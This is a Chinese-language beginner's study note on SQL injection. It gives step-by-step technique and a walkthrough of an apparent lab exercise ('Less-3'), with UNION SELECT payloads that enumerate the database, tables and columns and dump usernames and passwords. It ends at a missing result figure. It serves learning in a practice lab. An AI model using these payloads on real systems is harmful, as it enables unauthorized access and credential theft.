安全笔记第一天
Sql注入
- 测试交互方法,判断浏览器提交数据和web服务器的交互方式.
get 提交 提交的数据在url中显示
post 提交 没有在url中显示
2.判断提交变量的数据类型
整型 id = 1 and 1=2 //让提交数据为False(假) 有交互数据显示则为整型,否则为str
字符型 id = 1 and 1=2 无交互显示,则进一步判断闭合方式 常见的闭合方法 ‘’,“ ”,( ),(‘’),(“”)等
3.构造闭合(整型不需要)
id = 1 ‘ 例如是‘闭合的话输入这个语句会显示语法错误,然后我们可以用–+来把还没有闭合的后一个’注释掉从而让语法正确id=1’ --+。
- 进一步完善 id= 1’ and 1=2 --+ 查看有没有回显错误,如果没有则确认闭合方式 + 完善输出位 id =-1 or 1=1 让id=-1不能查询数据(False)而 1=1 (True)
4.构造sql语句并判断数据库表的列数
只有判断正确的列才能成功取出数据
?id=-1 union all select 1,2,3 //整形数据构造
?id=-1 union all select 1,2,3 --+ //字符型数据构造
5.在页面显示位输入需要回显的sql语句
下面例子中2,3显示列,会出现在页面中,所以替换2或者3
?id=-1‘ union all select 1,database(),3 --+ //替换2显示位,替换为显示当前数据名的函数
sql构造语句常见示例
database() //爆数据库的函数
group_concat(table_name) from information_schema.tables where TABLE_schema = ‘your database’ //通过以知数据库爆出表名
group_concat(column_name) from information_schema. columns where TABLE_name = ‘your table’ and table_schema = ‘your database’ //爆出列名
group_concat(password),3 from users //爆出数据
例:Less-3
SERIES–3步骤
1.?Id=1 #确定为get提交方式
2.?Id=1 and 1=2 #没出错,判断为字符串
3.?id=1’) #进行测试出闭合方式,出错的那个就是正确的闭合方式
4.?id=1’) --+ #构造完整闭合,用 --+注释掉,检测所判断得闭合方式是否正确
5.?id=1 and 1=2 --+ #进一步完善 id= 1 and 1=2 --+ 查看有没有回显错误,如果没有则确认闭合方式。
6.?id=-1’) or 1=1 --+ #完善输出位 id =-1‘ or 1=1 --+让id=-1不能查询数据(False)而 1=1 (True)。
7.?id=-1’) union all select 1,2,3 --+ #判断输出位
8.?id=-1’) union all select 1,2,database() #查找数据库名,结果为security.
?id=-1’) union all select 1,2,group_concat(table_name) from information_schema.tables where TABLE_schema=‘security’–+ #查找security库中的表名:emails,referers,uagents,users。
?id=-1’) union all select 1,2,group_concat(column_name) from information_schema.columns where TABLE_name=‘users’ and table_schema = ‘security’ --+ #查找security库里的users表中的列名,结果为id,username,password
11.?id=-1’) union all select 1,group_concat(username),
group_concat(password)from users --+ #查找users中的password以及username。
结果如图: